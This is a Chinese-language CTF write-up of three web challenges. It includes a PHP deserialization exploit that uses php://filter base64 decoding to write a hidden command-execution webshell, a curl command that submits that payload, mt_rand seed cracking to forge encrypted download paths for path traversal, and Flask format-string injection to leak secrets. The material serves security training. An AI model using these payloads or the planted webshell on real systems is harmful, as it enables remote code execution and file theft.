Web

warmup

题目给了源代码,如下:

1

使用过 assert 一句话木马的应该就知道怎么解, payload 如下:

2

simple ser

3

很明显这道题目考察的是 反序列化 以及 PHP伪协议 的使用。可以看到上图 第28行 代码中, $this->filename 变量可控,且 $content 后面拼接的 $this->txt 也可控。而在 第26行 代码中存在 die 语句,也就是说虽然我们可以控制 $this->txt 变量的值,但是在这个变量之前还有 die 语句,这会导致我们写入的语句无法执行,所以这时我们便考虑使用 PHP伪协议 。关于 PHP伪协议 的使用,看下面测试代码即可:

4

可以看到上图 第6行 代码成功将 exit 语句变成乱码,剩下的无非是反序列化的利用与魔术方法的使用,具体可以翻阅PHP手册,这里不赘述。下面直接给出我的 payload :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class cls1{
......
}
class cls2{
......
}

$c1 = new cls1();
$c2 = new cls2();
$c1->cls = $c2;
$c1->arr = array('demo' => 'fileput');

$c2->filename = 'php://filter/write=convert.base64-decode/resource=hello.php';
$c2->txt = 'PD89QGAkX0dFVFtfXWA/Pg==';

echo base64_encode(serialize($c1));
// 结果为:Tzo0OiJjbHMxIjoyOntzOjM6ImNscyI7Tzo0OiJjbHMyIjoyOntzOjg6ImZpbGVuYW1lIjtzOjU5OiJwaHA6Ly9maWx0ZXIvd3JpdGU9Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPWhlbGxvLnBocCI7czozOiJ0eHQiO3M6MjQ6IlBEODlRR0FrWDBkRlZGdGZYV0EvUGc9PSI7fXM6MzoiYXJyIjthOjE6e3M6NDoiZGVtbyI7czo3OiJmaWxlcHV0Ijt9fQ==
?>
1
curl -d "ser=Tzo0OiJjbHMxIjoyOntzOjM6ImNscyI7Tzo0OiJjbHMyIjoyOntzOjg6ImZpbGVuYW1lIjtzOjU5OiJwaHA6Ly9maWx0ZXIvd3JpdGU9Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPWhlbGxvLnBocCI7czozOiJ0eHQiO3M6MjQ6IlBEODlRR0FrWDBkRlZGdGZYV0EvUGc9PSI7fXM6MzoiYXJyIjthOjE6e3M6NDoiZGVtbyI7czo3OiJmaWxlcHV0Ijt9fQ==" http://xxxxxxxxx.game.ichunqiu.com

5

Download it

题目界面如下:

6

题目给了三张图片形式的代码,下面是第一张图片代码:

7

可以看到上图 第23-26行 代码,只有通过 authcode 方法正常解密的文件名,才可以下载,而且用来解密用的 $key 是从 authcode.php 中获取的。我们可以观察首页源码中给的下载链接形式:

1
2
3
4
5
http://xxxx.game.ichunqiu.com/download.php?download=4aeapeMLyHGQlt5gdug72LJ71XZPntDA0%2FTwD7pLw38k68VcgTsEMnKH%2BO8vFezHQaZYKg

http://xxxx.game.ichunqiu.com/download.php?download=accdHpLzFPh%2FJPxRtyoHArsHuUXqjXM0WwdRjA2UusoJw69H3deZAWcLitlNz1WHM6s2bcHSUA

http://xxxx.game.ichunqiu.com/download.php?download=d222T%2B7rBWWzPrZaIG3a9RQy2Du5G%2B03AI3D3tCFTJVIipHqlUAx4LMYlvCzntUc1zfIcO8

authcode 代码在第二张图片中,如下(其中同时包含了加密与解密功能):

8

题目还给了第三张图片代码,如下:

9

这段代码给出了 gen_rand 方法以及将一个flag存在 gen_rand(8).php 的文件中。在前面观察首页的时候,还会发现一个链接被注释了,我们可以通过该链接下载一个php文件下来。例如我的环境下载的是: IJiJXvRf.php 内容为:<?php //flag{This is fake flag, but it looks useful} 。显然这是一个假的flag,但是这个文件名对应的就是 gen_rand(8) 。所以我们可以通过爆破随机种子,算出 $key (即 gen_rand(32) ),具体可参考文章:http://wonderkun.cc/index.html/?p=585 。(php_mt_seed下载地址:php_mt_seed-3.2

下面直接给出解法:

10

我们用解出来的32位 $key 来解密一下首页已有的链接,例如我们尝试下面这个链接:

1
http://xxxx.game.ichunqiu.com/download.php?download=4aeapeMLyHGQlt5gdug72LJ71XZPntDA0%2FTwD7pLw38k68VcgTsEMnKH%2BO8vFezHQaZYKg

11

所以我们就可以构造 authcode(‘filename=../../../flag’,’ENCODE’, $key) ,如下:

12

Easy flask

一开始试了 JWT 爆破,可以将 secret key 的值爆破出来,伪造 admin 身份还是无法绕过登录检测。尝试在 edit 处进行 SSTI 发现不行。

题目给了两个提示:

  • flask_sqlalchemy==2.2
  • 格式化字符串

参考文章:Python格式化字符串漏洞(Django为例) ,发现题目代码中存在很相似的格式化字符串注入的地方:

1
2
3
4
# secert.py
name = u"<h1>name:{user_m.username}<h1>"
email = u"<h2>email:{user_m.email}<h2>"
info = (name+email+secert_t).format(user_m=user_m)

但是没有利用成功,而在编辑秘密的功能处发现可以利用格式化字符串带出数据。

13

现在的思路就是通过 user_m 获取 SECRET_KEY ,然后伪造 admincookie 登录后台即可看到flag。本地将程序跑起来后,发现找 SECRET_KEY 还是比较麻烦的,懒得找,还是等官方WP吧。

14

PS:题解写在另外一篇文章了,详见:Python Web之flask session&格式化字符串漏洞